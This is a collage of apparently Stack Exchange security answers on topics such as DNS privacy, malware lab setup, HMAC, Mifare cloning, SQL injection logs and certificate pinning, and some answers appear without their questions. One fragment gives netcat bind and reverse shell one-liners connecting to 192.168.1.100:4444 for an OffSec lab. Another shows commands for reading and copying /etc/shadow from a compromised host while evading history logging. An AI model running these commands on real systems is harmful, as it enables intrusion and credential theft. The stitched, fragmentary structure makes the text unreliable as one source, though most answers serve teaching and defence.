How can I ensure consistent privacy policy of my DNS server to that of the TLD's privacy policy?

IF the local government or the ISP of the site wants to log your IP address while you visit example.com, they would rather read it from the TLS Client Hello handshake's (plain) Server Name Indication (SNI) extension.

Therefore, the DNS is not the first thing to be worried about in this situation, but let's explain why they would not choose the DNS queries for this kind of monitoring as it doesn't reveal your IP address to to them.

Whenever you query example.com, you send exactly one UDP packet for IPv4 A and other for IPv6 AAAA to your DNS resolver and get responses directly from it. Here, Cloudflare's 1.1.1.1 is used as a resolver.

The resolver a.k.a. recursive name server either 1) already has the response cached, 2) asks for it exactly the same way from its forwarders or 3) starts resolving it for you starting from the root servers. If the any of the authoritative name servers for ., .com or .example.com logs these queries, it only sees the IP address of the final recursive resolver.

In our example, the authoritative name servers doesn't even see the 1.1.1.1 directly in their logs, not to mention the query for A might be asked from a different authoritative server than AAAA.

If the first authoritative name server logs the requests, it might see:

162.158.237.161#19489 (example.com): query: example.com IN AAAA -EDC (199.43.135.53)

While the other request may finally go to the second authoritative name server, which may log:

162.158.237.107#35024 (example.com): query: example.com IN A -EDC (199.43.133.53)

162.158.237.161 is the IP address of the recursive server from CLOUDFLARENET 162.158.0.0/15.
162.158.237.107 is another IP address from the same netblock belonging to Cloudflare, Inc.
199.43.135.53 and 199.43.133.53 are just the IP address for the authoritative server self i.e. a.iana-servers.net. and b.iana-servers.net. and doesn't reveal anything: it's just the BIND named log format.

Now, only Cloudflare (or your ISP or company etc. whose resolver you are using) and everyone who was able to sniff the UDP packets between you and the resolver knows that you were looking for example.com. This risk is another story, but to mitigate it you may:

Use a resolver you trust and is near you, but also has plenty of users.
Encrypt your communication with a trustworthy resolver using DNS over HTTPS or DNS over TLS.


Network setup for malware analysis lab in a corporate view

Virtualized Environment.

Set up a series of virtual machines on virtual networks in a host that is in its own segmented network (VLAN, firewalls, no outward connections allowed, etc.). Run all your analysis in this environment. You connect by connecting to the host, then from there to the virtual machines. Even if malware runs rampant, you only risk the other VMs.

In the off-chance that malware from the VM escapes to the host machine (still uncommon at this point), it is segmented off from the rest of your network.

Being in a closed virtual network, you are more free to set up network traffic analysis to analyze the network connections generated by the malware, without affecting your corporate networks.

The other benefit to VMs for malware analysis is that you can blow away the VMs and restore them to an original image. This should be scheduled on a daily basis (or more often) in case there is an infection that you do not catch or fully understand. This prevents a persistent infection in your environment.

This set up also solves your problem of connecting across multiple networks. A simple VPN will allow you connection to the host machine without fear of malware traversing the VPN.


How can document.referrer be used for XSS?

Updated browsers will encode the referrer URL.

So your examples will not work to trigger XSS nowadays.

Try this:

JSFIDDLE:

http://jsfiddle.net/y4afy8h9/1/??


Symmetric encryption for data protection

After doing some reading, I think using 256 AES should be adequate. Is this the case and for how long should we expect this to be good enough?

Yes! AES-256 is a widely used and standardized algorithm. The one cavaet is AES-256 is not in itself, the entire algorithm. The algorithm requires you to specify a block-cipher mode which is the mechanism in which it distorts the blocks of data before encryption to avoid patterns emerging. I recommend a look at this image. The most common block cipher mode is CBC and it is ideal for encrypting data that is more than one block in length (more than 128 bits which from my understanding, your data will be).

Properly configured AES-256 should be secure well into the future of computing. Symmetric encryption is currently believed to be secure even in a post-quantum world (unlike asymmetric cryptography such as RSA which will most likely crumble) so you should sleep well at night knowing your data is secure well into the future.

  But if all I want to do is verify the message has not been corrupted, is there any reason a hash (e.g. SHA-256) stored with my key wouldn't meet my requirement? I'm probably missing something here.

The key difference between traditional cryptographic (collision-resistant) hash functions such as SHA-256 and HMAC functions is the HMAC hash functions are "keyed" meaning they require a secret key. HMAC-SHA256 (as an example) is often used in cases where there is reason to believe an attacker may try to manipulate data and re-calculate the hash to make the system appear to be un-altered.

Let's say I have a text file that contains instructions on when to launch an attack and a second file to contain the SHA-256 hash of the first. I write to the file "attack at dawn" and hash it with SHA-256 and logout. The attacker now logs in (through means out of scope to discuss how here, this is a simple example) and the attacker edits the text file to say "Do not attack!". But now the SHA-256 hash won't match, so the attacker re-calculates the SHA-256 hash of the file he edited and replaces my old hash. Now I send this file and its hash to my generals. They hash the file and see it matches (and therefore trust it) and see "Do not attack!".

In walks the HMAC family. In the same example if I used HMAC-SHA256 to hash my file, it would require my secret key to complete the operation. Therefore, when the attacker edited my text file he does not know my secret key and fails to generate a valid HMAC-SHA256 of the edited file. When it is sent to the generals (they too have my secret key, either through pre-distribution or PKI) they generate the hash with HMAC-SHA256 and they do not match. They know the message has been tampered with.

Long story short: SHA-256 is a great way to validate non-malicious data corruption did not occur as it is collision resistant but anybody can calculate a SHA-256 hash. If your threat model includes the possibility of malicious tampering by an attacking party, using HMAC-SHA256 hash with a secret key can ensure the attacker cannot manipulate the data and re-create the hash to make it appear un-altered.


Is there a secure way to host private PGP keys (is keybase's method secure?)

To be fair, the page states in full (emphasis mine):

  To decrypt in the browser, you must be logged in, and you must host your private key in Keybase's encrypted key store.

Because browser clients lack the ability to store and access a local key, Keybase provides a server-side method.  Yes, this method is less secure than their thick clients, where the private key never leaves the device.

Security-conscious users will want to avoid the browser client (and anybody using Keybase should be security-conscious, so I don't personally even understand why there is a browser client, but there you go...)


Using only private non-government resources, how can something be sent such that the NSA will see it?

Wanting to be noticed by the Fingermen - an odd inversion of the usual desire :-)

There are ways, but I'd refrain from some of them unless you are never going to visit the USA*

Use religious phrases or the names of certain fanatics in your correspondence. End and start each conversation with "Allahu Akbar", "Ayman al-Zawahiri" or "Ibrahim al-Asiri"
Set up a numbers station with a short wave radio.
Sprinkle a letter soup of "CIA", "NSA", "DIA", "INR", "ISR", "NSB", "INSCOM", "DOEOIC","OIA", "DEA", "NGA", "NGO", "ONI", "ODNI" plus "Homeland Security" throughout your correspondence. Include "GCHQ", "DSD", "CSEC", "GCSB" if you want improve traffic capture in the wider Five Eyes communication watershed.
Shuffle large blocks of cryptocurrency in a fashion that looks suspiciously like money laundering.
Email (public) aerial or satellite images of places with restricted airspace. Bonus points if a red crosshair is painted on one or more buildings in the image.
Wear a Guy Fawkes mask for every video call you make or video blog you upload to Youtube.

* or love Abu Ghraib-style probes while wearing a orange jumpsuit.


What are the real world risks of opening ports for multiplayer games?

The risk of opening a port is that the listening application can be exploited. This means that, for instance, if a Unity zero-day is found these systems would be at risk. Only half 6 months ago a remote code execution bug was found in the Unity Editor (CVE-2017-12939). Note this affected the editor, not the games created by it. New security bugs are discovered all the time, thus any application listening through an open port could potentially be attacked.

Make sure that the port is only opened for the specific application, to prevent the port from being open for other applications that you might install in the future.

If you're paranoid and want to reduce the risk, there are a few options.

Do you need a listening port?

If you build the application in a way that only the servers are listening and the clients initiate the connections, you don't need to open a port (unless you also have an outbound firewall on those clients). This also saves you the hassle of having to forward ports manually on NAT devices in your network.

Create a minimal priviledged user account for the application

You mentionioned that your application only needs read-only rights on a few files in a specific folder. you could create a new user account on the systems you install the application on, and give it priviledges to only that folder. If you do this, make sure the application is run using that user account. This means that if an attacker exploits the application, he will have more troubles to escalate priviledges. This however takes a lot of extra work and is only for the truely paranoid.


How can ISP's block a website specific content while using encrypted connection?

Two things come to mind here:

ISP requires certificates from them to be installed on your computer prior to allowing you to access the net. In this dystopian environment (which does exist in some countries and many corporate networks), the ISP would require you add their certificate to your trusted root store before accessing network resources. When your request is made to https://someplace.com/any-content, a proxy performs a man-in-the-middle, decrypts the traffic, and re-encrypts it on the fly with the certificate for the root store.  This would allow them to decrypt traffic and perform a MITM to inspect your traffic.
ISP Blocks domain names ISPs can block and filter DNS requests to somesite.com at will. Granted, this would block https://somesite.com/good-content and https://somesite.com/bad-content as well.


Do I understand SHA-1 brute-forcing speeds correctly? (Firefox Password Manager)

Your math is correct, but you calculated the time needed to test all 14-character long passwords.

The cracking time could be anywhere between now and in 170 millions years, based on your luck.


Can Penetration Testing be considered as a part of a Vulnerability Management Program?

Absolutely. Penetration testing can be considered a key part of both vulnerability management and vulnerability assessments. Penetration testing is quite different to vulnerability scanning although vulnerability scanning may be one of the initial tasks performed in a penetration test to identify obvious issues in the environment.

Penetration testing within a vulnerability management program should be done when obvious issues have been addressed so the environment is subjected to a real life attack scenario. It is only at this point that the defences in place can truly be measured.


Using linux to combat windows flash drive malware?

Yes there's a way to hide the a file from Windows' and Linux's file explorers, which is to start the file name with a dot . and set the h and s flags. In Windows that can be done by using the command line

ren file .file
attrib +h +s .file

Now the file cannot be seen by File Explorer, Nautilus, or Konqueror in their default settings on clean machines.

When you plug your flash disk in a Linux machine and open it using Nautilus, you may press Ctrl+H to show all hidden files. A better solution is to use your favorite shell to run this command in the flash disk's mounted directory.

ls -a

Note: If you "clean" the flash drive using Linux and then plug it back in the suspicious Windows machine, you can assume that it's infected again.

Update: I'll try to address your newly expressed concerns from a real-world and practical point of view.

First, in theory. There is a chance that the Linux machine is infected with malware that forces it to hide certain files (namely other malware files). But in reality, the chances are very slim. But like anything in security, you can never be sure.

Practically speaking, plugging your infected flash disk in a Linux machine and removing all the bad files (assuming you do know what all the bad files are) guarantees with a high probability that your flash disk is now clean. As long as you don't plug it back in the infected Windows machine, it's safe to use amongst other clean Windows machines (assuming you are sure about which machines are clean).


Is it good idea to rely on Mifare UID for security/authorization reasons?

The Mifare Classic has been broken several years ago (their weak, obscure and proprietary encryption got broken) and so was the Mifare DESfire v1.
You should rely on stronger algorithms (preferentially open strong ones) and also have a monitoring system that detects abnormal behavior to detect cloning or tampering. It just depends on the level of security you need.

We have at work an RFID payment system for the coffee machines. Setting up a bio metric+code+network scrutiny on those cards would be overkill. Since they rely on Mifare classic, it's possible with the Proxmark device (i personally never tested, but others did, just google cloning mifare classic proxmark) to set whatever amount of money on the card and get unlimited coffee. But the Proxmark device costs around 300$ so it's not cost-effective if you are not a coffee addict (and it's morally wrong, but perfectly doable).

But if you are talking access authorization, this card is a big no-no. (you could use Mifare DESfire v2 if you want to stay with Mifare for example, but again, look for the level of security each offers, and if it fits your needs).

  "We do not recommend the use of Mifare Classic for new installations. We are working with customers to review their security."
  source: http://news.bbc.co.uk/2/hi/programmes/click_online/7655292.stm

edit:
to have a broader view of the risks you are facing by using an RFID authorization system, check http://www.oecd.org/sti/ieconomy/40892347.pdf, at "2.1.1. Typology of risks", you'll be able to confront this knowledge with the security solutions vendors propose.


how to access freenet on a remote machine from android

Freenet works best on a machine that has good internet connectivity and can stay online as often and as long as possible. Mobile phones usually satisfy none of these conditions, and are often not particularly suitable to run Freenet on (although it is possible, as you have experienced).

I would recommend running Freenet on an always-online PC, and then use your Android device to browse Freenet using that installation. The safest way to go about this is by SSH port forwarding: SSH client apps like ConnectBot allow you to forward a local port to a remote destination.
An easier way is to configure Freenet to bind to the wildcard address 0.0.0.0 (relevant setting: fproxy.bindTo), and then limit access to only your phone or your local network by their IPs (relevant settings: fproxy.allowedHosts and fproxy.allowedHostsFullAccess).

If you insist on running Freenet on the same Android device as you'd like to browse Freenet with, your approach with GNURoot and Debian should work out of the box (that is, after installing a Java 7 or later, installing Freenet, and starting Freenet). Android apps and the GNURoot Debian share the same loopback interface: they can communicate over the 127.0.0.1 IP address as usual. As such, just start Freenet and point your browser to http://127.0.0.1:8888. If that doesn't work, consult wrapper.log and/or logs/freenet-latest.log in the Freenet installation directory for more information on what is happening.


Could some one please explain - Remote Post SQL Injection

Remote SQL injection is usually a product of poor programming and bad database configuration.

Unescaped characters.
No input validations.
Setting a vague limit in the number of character field.

You check for the metasploit framework and you can learn lots of things from there:

http://www.offensive-security.com/metasploit-unleashed/SQL_Pwnage

Try to read also this post. It should give you a good overview.

http://shiflett.org/articles/sql-injection


Sending Private Keys, does it make sense?

You are right in that it would be more secure to generate and keep the private key only on the windows system and share only the public key with other systems.

But depending on your specific environment and users it might be more easy and comfortable but still considered secure enough to generate the key the way you describe. There is no such thing as absolute security or even best security - it is always a compromise between performance and usability on one side and the risks on the other side. As long as the risks are small enough (which depend on the actual environment and use case) one might well use the more comfortable way.


If your computer is a VPN client and another computer tries to connect to it without going through the VPN, it will not be encrypted unless your application does its own encryption.


Could IMAP authentication be adapted to support 2FA?

IMAP can support multiple authentication methods, i.e. the protocol is extensible.

  ...  why hasn't it been done

It has been done. Modern clients like Thunderbird support XOAUTH2 which basically uses a web client with OAuth2 which then can do all the normal things OAuth2 can do including 2FA.


wfuzz default number of connects in parallel per target?

In this blog post https://resources.infosecinstitute.com/wfuzz-and-webslayer/ It shows that the default threads Number Is 20 and you can set the Number of thread Udine -t flag


Is it considered bad practice to use company name as part of an SSID?

"Hiding" your SSID is just "security by obscurity" - like hiding the front door key under the mat. It works only as long as no one figures it out. Once it is figured out, it provides zero security.

In general, you want security measures that will work even if everyone knows what measure you've used.

Yes, by providing your name, any opportunist can focus on your network if they have that desire, but just having a WiFi network broadcasts that a network is there, anyway. If someone is targeting you specifically, they will find your SSID, even if you obscure or hide it.

So, hiding or obscuring the SSID provides very, very low protection. Unless you have a specific reason to need such specific, low, and opportunistic protection (and there are possible reasons), I'd focus on securing the network instead.

As JPhi1618 and emory point out in the comments, you could even create a security issue by using a nondescript SSID: If you set it to df42Sdd235f2, for example, then someone could set up a WiFi network with your company name or even df42Sdd235f3 in order to attract people to connect to it instead of your corporate network and the victims would not have any clues that the network was not the official network.


Boot from live usb to avoid being spied on

A live OS would provide a bit of extra security, but don't rely fully on it and assume that you're good. If you're trying to prevent becoming infected by using a live OS, it can help if the exploit tries to write to the USB/DVD since it can be reset, wiped, thrown away when done. Unplug other storage if you're concerned about your regular OS getting infected.

A live OS is good at keeping your environments safe up to a point. If you are already infected or if it can target you on a hardware level, there is not much you can do to ensure you won't be eavesdropped on that device.


How to prevent sim swap to the most extent possible

The obvious way to prevent the effects of someone using this technique to access your accounts is not to use your phone number for 2FA or for account recovery. If you need to, then use an "unknown number" that you don't use to call anyone. Just use the number for account recovery.

To prevent social engineering attacks to be used by the attacker as a means of social engineering the companies to make the swap, you provide fake information to the company on your account. That way the attacker would have to figure out the specific data you provided the company.

As for someone using your main, known number to set up new accounts with which they will commit crimes, I'm not sure why that's a concern.


How to force browser to ask user to resubmit certificate after a logout

Client side certificates are currently is a mostly enterprise used feature, And it relies heavily on the web-browser to manage when to send what certificate to the server (in mostly an ugly ui element).

So currently using a login only based on the certificate means you auto-login each time you use the certificate. (the browser remembers you want to use the certificate and re-uses it when you connect).

The only way to stop the browser from doing this is client-side. the user needs to 'tell' the browser to NOT send the certificate.

a different way to facilitate both certificate login and user/password login is by having 2 different login pages, one for password login, and one for certificate login. So a end user can choose what type of login he / she / it wants to use.

There is of course also the possibility to revoke the certificate the user has and require him/her/it obtain a new certificate to login. a revoked certificate would trigger the browser to give the user a "selection box" to submit a new certificate.


Most ncs in the OffSec lab (like most ncs in popular linux distros) don't support -e. It simply doesn't exist.
The solution is to redirect the stdin/stdout communication through a pipe:

cd /tmp
mknod mypipe p
/bin/bash 0< /tmp/mypipe | nc -nlvp 4444 1> /tmp/mypipe

for a bind shell or

/bin/bash 0< /tmp/mypipe | nc 192.168.1.100 4444 1> /tmp/mypipe

for a reverse shell. Here is a full article about this.

Recently I found another nc on a Ubuntu 10.04 system where the above nc listener wouldn't have worked since nc didn't allow -l and p simultanously. So before panicking because the shell doesn't work you should first try to get the nc help or try to play with the various options (I tend to specify a lot of flags, maybe one should aim for as little as possible).


The field that you're nibbling at is called Digital Rights Management (DRM), and it's a big field.  Protecting your documents and music, for example, fall under Content Restrictions.
There are significant shortcomings to applying DRM, some of which are:

It may make it harder for legitimate readers to access your content
It may break or end-of-life and leave your content unreadable
It may be possible for attackers to bypass DRM and access your content

As an example, if you Google "mp4 drm" almost all the top hits have to do with bypassing the protections, not with enforcing them.
In short, it's a hard problem with many bad solutions and a smaller number of usable ones.  For these reasons, and because of the ethical implications of restricting content owner's rights, some people have rebranded DRM as "Digital Restrictions Management."
In summary:

What you want is hard to do.  It's not as simple as "putting executable code in mp4 and pd4 file"
Solutions exist, but may be limited in usability


How can I make sure that the incoming file is definitely of the expected file type?

Ensuring a file is the right file type is challenging, and sometimes impossible.

When possible, use a strict file parser.

For a PDF file, use a pdf library or pdf parser to parse the file and reject the file if any parsing issues arise.  This can often have real compatibility consequences, since many PDF clients allow malformed PDF documents.

Save the file in a restricted location with restricted permissions

Be sure to save the file in a location that isn't processed by your web server. Ensure the extension is non executable by your webserver. Allow only read access to the file (explicitly deny execute privileges).

Understand what kinds of attacks are made possible by user uploaded files

In the case of a file being uploaded to a server, if non execute precautions are taken, then a malicious file getting past your file parser is mitigated. However, if the file is made available to other users, you may want to use antivirus or scan for known malicious signatures. This blacklist approach is a last resort, but it is a reasonable measure to take.


Is it possible to export a GPG subkey's public component?

RFC 4880, OpenPGP, 11.1. Transferable Public Keys defines subkey packets are always preceded by a public (primary) key, thus GnuPG does not allow to export it separately.

To do so anyway, export the key (it is recommended to use --export-options export-minimal to reduce the number of packets you have to deal with), and use gpgsplit on it, which will decompose the OpenPGP file into the individual packets. Those ending in public_subkey are the ones you're looking for. To find out which one is the right, have a look into them using pgpdump [file] (gpg --list-packets fails for single packets, as the input is no valid OpenPGP file). pgpdump should be available for most distributions in a package of the same name.


Need advice on Cryptography digital files project

My first question is why? What are you hoping to gain by encrypting the material and adding the overhead of managing and distributing encryption keys?

There needs to be clear goals defined before you can assess whether the proposed solution is adequate. While your general plan sounds like you have thought it out a bit, it isn't clear what you are trying to do. For example, if all of this encryption is because of some kind of digital rights concerns over the learning materials, then I suspect you are only creating additional overhead and inconvenience for both teachers and students with no real benefit.

Issues you need to think about

How do you verify the student you plan to give the password to is really the student?

How do you know the student won't share their password with others?

How do you know the person using the password is the person they claim to be?

The key problem you have is in establishing levels of assurance. This is almost impossible to do using just passwords. There are lots of other questions - for example, after the student has obtained the materials and used the key to decrypt them, what stops them from distributing the unencrypted versions? Once this occurs, how would you identify who released them?

It seems to be you are facing two problems - establishing identity level of assurance (nearly impossible when based solely on a password) and DRM - nearly impossible without imposing considerable inconvenience on the users.

Sorry if this is sound really negative. I'm not trying to be discouraging. However, from the short description you provided, I think you need to get some greater clarity on exactly what the objectives or business case is you are trying to solve and exactly what the constraints are


How can faulty version of an iOS app (such as WhatsApp) expose the whole device to crashes or take-over

I guess what could conceivably be going on here is that there is (was) a bug in a library that might be used both by the WhatsApp app, iOS, Android, etc. This would explain why the problem surfaces in iOS and Android apparently at root level. Perhaps what could have happened in such a case is that Google informs the OS vendor(s), who informs the maintainer of the upstream library and then what?

To make this more concrete by way of an example, here is an excerpt from iOS 12's Settings | General | About | Legal:

And here is a bit of text from the cisco/libsrtp's GitHub project (srtp_protect is also mentioned in the original report):

  The srtp_protect() function assumes that the buffer holding the rtp packet has enough storage allocated that the authentication tag can be
  written to the end of that packet. If this assumption is not valid,
  memory corruption will ensue.

The project is at least somewhat active (last commit 7 days ago), but its issue #322 is apparently open since July 2017. I'm not an experienced white hat (nor black hat), but my current estimate is that it's fair to post such a (theoretical) example in this context exactly because all ingredients are already out in the open. Perhaps one could even qualify as a Google Zero engineer by just googling (no pun intended) such stuff :)

UPDATE For what it's worth, Sonatype OSS Index (a free service used by developers to identify open source dependencies and determine if there are any known, publicly disclosed, vulnerabilities) currently does not list any vulnerabilities for libsrtp.


Host header injection attack with Spring boot embedded tomcat

For non-standalone Tomcat, the trick is to configure two virtual servers, where one is the default and belongs to no web application and the other one is the real one where your web application is linked with, see https://serverfault.com/q/850955

It seems that this doesn't work with Spring boot, because it seems that you cannot configure virtual servers.


Methods to copy files from a remote Linux system by order of detectability (assuming remote shell with root privleges)

Why aren't you just logging (locally) everything you see and do?

$ script hax0r
Script started, file is hax0r
$ ssh vuln@target
<vuln> elevate_privileges
# vi harmless_file
:e /etc/shadow
(browse through the file if it doesn't fit on one screen)
:q
# exit
<vuln> exit
$ exit
Script done, file is hax0r

The contents of shadow are now in your local file, hax0r. You can skip some of the steps (like trying to hide the file access from the remote shell's history) if you want. Or use some other program (perhaps your terminal's built-in logging?) to capture your local shell's history.

Of course you could always:

$ ssh root@target cat /etc/shadow > remote_shadow

Or just:

$ scp root@target:/etc/shadow local_shadow


Is domain/subdomain check necessary when doing public key pinning?

There are various kinds of public key pinning and the answer depends on what you actually do. If you pin to the key of the servers certificate and only expect a single specific certificate for the server then additionally checking the URL you access against the subject of the certificate is probably not necessary, since there should only be this single certificate with this key (or maybe multiple similar certificates when renewing).

If instead you reuse the same public key for many certificates (bad idea) or if you pin to the key of the issuing CA instead of the leaf certificate then you should also verify that the subject of the certificate matches the name in the URL.


This is just a representation choice for presentation purposes. If it's short enough, it will be displayed both in decimal and in hexadecimal. You just need to use a longer serial number for it to appear in the second format (0x100 would be equivalent to 01:00).

The length threshold to switch to the second representation seems to be size(long)  (usually 4 bytes).


What voip client support manual encryption?

If you can directly connect, you can tunnel just about anything over SSL using stunnel. Any other sort of port-forwarding arrangement would also work. If you're using something more complicated involving SIP, you'll have to build a custom application or a fancier proxy that works in tandem with directory services.

I haven't used this in forever, nor has it been updated in a decade, but Speak Freely was a cool tool in its day that included crypto that the end user was responsible for. It's under the GPL.


How to protect our server from brute force attack?

Brute force attacks have 2 sides of impact. One is to recover the credentials by serials of password guessing and other one is to create a denial of service (DDoS) by launching massive number of attempts.

There are multiple mechanisms are used by industry on a combination to mitigate the attack as implementing only one control may not be adequate.

Possible mitigation controls could be:

Locking down accounts based on continuous login failures
Creating a pause in the authentication process after multiple login
failures
Blocking IPs – where multiple login attempts initiated for multiple
accounts
Allow high privilege users to login from a particular IP/IPs
Logins attempts with multiple usernames from an IP address
Throttle/block traffic when login attempts to an account form
multiple IPs at a time
Slow down guessing by using device cookies (Reference:
https://www.owasp.org/index.php/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies)
Use a CAPTCHA to prevent automated attacks
Use 2 factor authentication to prevent attack

Now, why it’s important to use combination of controls is to ensure legitimate users are not impacted or prevented from accessing resources.

For example, If we implement only ‘’Account Lockout after multiple failure attempts’’, attackers can simply abuse this control and simply lockout thousands of user accounts by sending series of brute force attempts. As a result, this turns out to be a DDoS and the legitimate users will suffer from accessing their resources.

Hence, it’s always recommended to use combination of above listed controls based on the context of the requirement to prevent impact of Brute force attacks.


Open port on my router I never seen before (port 12345)

If you're running your nmap scan from inside your network, it's entirely possible to get a different set of open ports than from outside your network.  Services can bind to interfaces, and presumably your router has firewalling rules of its own.  If the port is not accessible from the internet side, then an attacker will not be able to use that to get into your network.

Unless you have a really old Windows machine on your network, there'd be no reason for netbus to be involved.

Most likely, you have UPnP enabled and some recent firmware update to your firestick has caused it to use UPnP to open port 12345.  Try disconnecting the firestick and see if it goes away after some time.


Is it possible to block requests for my MAC address?

Unless you do not want network connectivity, then it's not possible. Furthermore blocking for a specific application is not possible.

A MAC address is requested using ARP. ARP is a layer 2 protocol (arguably layer 2.5). ARP is used to allow connectivity between you and a router (which is a layer 3  device).  An application is located at layer 7, which is the top of the OSI model.

ARP is nescesary to allow local layer 3 connectivity. It's used to know which devices are on the LAN network.

If you are concerned about people knowing your MAC address, then this means you are allowing some malicious entity onto your network. To prevent this you can use 802.1x, which is the Port-based Network Access Control. This works both for physical as wireless networks.

If you are not in control of the network, then there is little you can do.


Increase entropy by making passphrase more complex

There are two ways to look at whether these changes provide you with more security.  The first assumes that attackers doen't know of the passphrase creation changes you've made.  If they tried to guess passphrases constructed from all lowercase words then they won't ever guess yours since they are outside the pool of guessed combinations.  If they tried to guess traditional password formats or just brute-forced all possibilities up to a certain length then they probably won't guess your passphrase unless it happens to be short (e.g. you randomly select two three character words).  In this scenario you probably have improved your passphrase security, but it's nearly impossible to measure.

The second, and in my opinion better, approach is to assume attackers do know your system for creating passphrases.  It may be unlikely, but not outside the realm of possibilities that they might capture one of your passphrases or find one stored in plaintext from a site breach.  This might allow them to guess your system by examining what they know from these other passphrases.  Or this could be a common modification that they've learned other people have made to their passphrases so they consider it worth their time to try.

In this situation the attackers know to take two random words and capitalize the first letter.  So the fact that you capitalize both words buys you no additional 'entropy' or strength against their attack.  If you randomly decided whether to capitalize the first letter or not then that would essentially double your pool of possible words, because the attackers would need to try both versions for each word.

You don't really say how you're making your conversion of characters to digits.  Are you doing a 'leet speak' change so that "e" becomes "3" and "i" becomes "1"?  Is the substitution completely random?  Either way I believe we'd need to know what words are in your dictionary and their respective lengths to estimate how many variations that change could produce.  This is actually the hard part.

Let's assume all your words are seven characters and the digits are randomly chosen before replacing a letter.  Then the number of candidates for digit replacement would be 12 since you aren't changing the two capitalized letters (U).  You would need to map out all the possible arrangements of lowercase letters (L) and digits (D):

U D D D D L L U L L L L L L
U D D D L D L U L L L L L L
U D D D L L D U L L L L L L
....
U L L L L L L U L L D D D D

Then you would need to take the number of possible arrangements and multiply that times 10^4 (since each digit location can be one of 10 characters).  Unless my math is wrong that should give you the total passphrase possibilities.  You could then compare that to an unmodified word passphrase total to see how much additional security you've added.

But again, that assumes all the words in your dictionary are seven characters in length.  Since this most likely isn't the case you'd need to map out digit possibilities for every possible permutation of two words for the different word lengths.  I can estimate that's a pretty substantial security increase, but you'll have to work the numbers to figure out exactly how much you've gained.


Got warnings last night from a SQL injection attack - What were they trying to do?

It would appear that they were primarily testing to see if you were vulnerable. The reason I say this is that the bottom three inputs don't actually reach out to any tables, and are purely testing whether they can get an input back from the server via an injection attack.

My guess is that they were targeting the information_schema schema in the top inputs since it's standard on all MySQL instances, and they know it will be there (as opposed to trying to guess what schema/table names you use for your non-system tables). Once they confirm they can get information back from information_schema.character_sets, they can start looking at what tables/schemas you have on the database, and select/update/delete from those.

If you're confident that all the inputs on your site were properly sanitized before the attempted attack, I wouldn't worry that much (keep in mind that an attacker may patch up any holes once they've got persistent access). If you're not confident in this (or don't know what input sanitation is), then how much do you trust the security plugin to catch every possible instance of SQL injection? Your answer to this question will indicate whether you should consider the system compromised.


What type of exploit is an attacker performing by executing the code snippet?

They're trying to execute shell commands through SQL injection. The SQL Server xp_cmdshell system stored procedure lets the executor execute a shell script, and return the script's output as row data.

So if this attack would succeed, the output of that web page would (granted the column would be printed somewhere directly) display something among the lines of:

  Pinging 10.10.1.2 with 32 bytes of data:

And the attacker would know this particular attack works, and work their way through more resourceful scripts to execute.


Do modern cryptographers / cryptoanalytics need the knowledge of historical cryptography

If you're doing reverse engineering, penetration testing, or generally involved in looking at things someone else has built, for some strange reason, folks always try coming up with their "own" encryption schemes, which are either flawed or embarrassing mis-interpretations of old ciphers, or just vanilla implementations of old algorithms.

Beyond that, you must be familiar with history, or you're doomed to repeat its mistakes.


Misuse of free accounts for spamming and similar is a big problem many providers face. Thus they try to detect early if an account creation is somehow unusual, like being automated by a computer or multiple accounts created by cheap labor.

By using a fresh browser profile and trying to be as undedectable as possible you are essentially behaving similar to how massive account creation by cheap labor is done. And you are behaving contrary to the common user for which google usually has lot of data, like interaction with the search engine, google analytics, ads etc. These collected data can be used to decide if the behavior seen in account creation looks like a typical innocent user or more like somebody who wants to create yet another new account, maybe for spamming or selling. And while Google cannot be fully sure of the intentions of the user they can at least add another verification step if they notice unusual behavior - and that is what you get.

In short: the problem is not that Google is tracking you and thus knows that you are the same user who just created an account. The problem is instead that Google has not enough tracking data to be sure that you are an innocent user.

Disclaimer: I don't know if this is really done this way. But, given the amount of information Google has about different user behavior, the advances they make  in distinguishing between usual and unusual behavior which they use for example to improve use of captchas or decide that they don't need one and the massive use of big data I just expect them to use all this to minimize account misuse.


Can the packets of a wireless network be sniffed by a user who is not present in that network?

The channel is broadcast as part of the wifi protocol, and most wifi cards have a "promiscuous mode" that allows them to listen too all traffic on a channel, regardless of which MAC address it's addressed to.

There's widely available software that's free that allows anyone to do this.  Wireshark is a popular choice.  If the traffic is encrypted, the password would have to be cracked (if possible) before the sniffed data could be decrypted.

There's no need to associate with the AP in any way, and it's not possible to detect someone sniffing network packets if done entirely passively.


How can a client verify that code sent from the server has not been tampered with?

Generally speaking, I think what you are asking is impossible, or rather, it's unfeasible and probably not useful. The reason why it's unfeasible is that you would have to check that the code is the same as the official code (for example on GitHub), and you would have to do this every time you reload the page. The reason why it's probably not useful is that to be sure that a web page actually behaves correctly, you would have to audit all its code, every time. Even if the page really loaded the official code for a specific library, how do you know if the page then actually uses that code as expected? It might load the code but not execute it, or it could redefine some functions before using them, etc. And even if you audited all the code and you were sure everything is working fine, the next time you reload the page all this could have been changed.

When you download software from GitHub, you are ultimately trusting the provider of that code, that is, GitHub. When you install software from a Linux repository, you are trusting the repository servers. And when you execute software on a web page (javascript), you are basically trusting the domain owner.


Password-free logins using your email address only?

This idea has been covered on the following questions:

If I include a Forgot Password service, then what's the point of using a password? discusses sending a link by email, as the way to authenticate you.  It discusses some improvements, such as how to avoid requiring the user to wait for email to arrive and click a link every time they want to log in.  It also discusses some challenges, such as the reliance upon the user's email provider and the user's email password.
How to implement non-password authentication in a web site discusses, more generally, ways to authenticate the user without using a password. It discusses the use of persistent cookies to remember the user, so they only have to log in once on any particular computer, and then there is no need to enter a password again on subsequent visits.  This is a great way to authenticate users and reduce the need to type in passwords.  It can also be combined nicely with email-based authentication, as is discussed in the answers there.

So, read the answers on those questions.  I think you'll find that they already cover the sort of ground you were thinking of.  Enjoy!


Bypass SSL Certificate Pinning using SSL Vulnerablilities

Certificate pinning or public key pinning are rather some protections against malicious/compromised CAs. It can hardly defeat any attack that does not rely on this.

So, attacks like LogJam, DROWN, POODLE, BREACH, BEAST, HeartBleed etc. (just some examples of relevant attacks unrelated to each other) are not defeated by certificate pinning.

Well, pinning might theoretically mitigate some attack of this kind by accident (e.g. it would run some extra allocation that would accidentally prevent attacker gaining access to some interesting part of memory when using HeartBleed), but this is unlikely.

Note that not all attacks give you the same power. For example, POODLE, BREACH and BEAST could allow you reading of some portions of data, but they will never allow you changing the data without being detected. Also, some attacks are applicable only under some specific conditions.

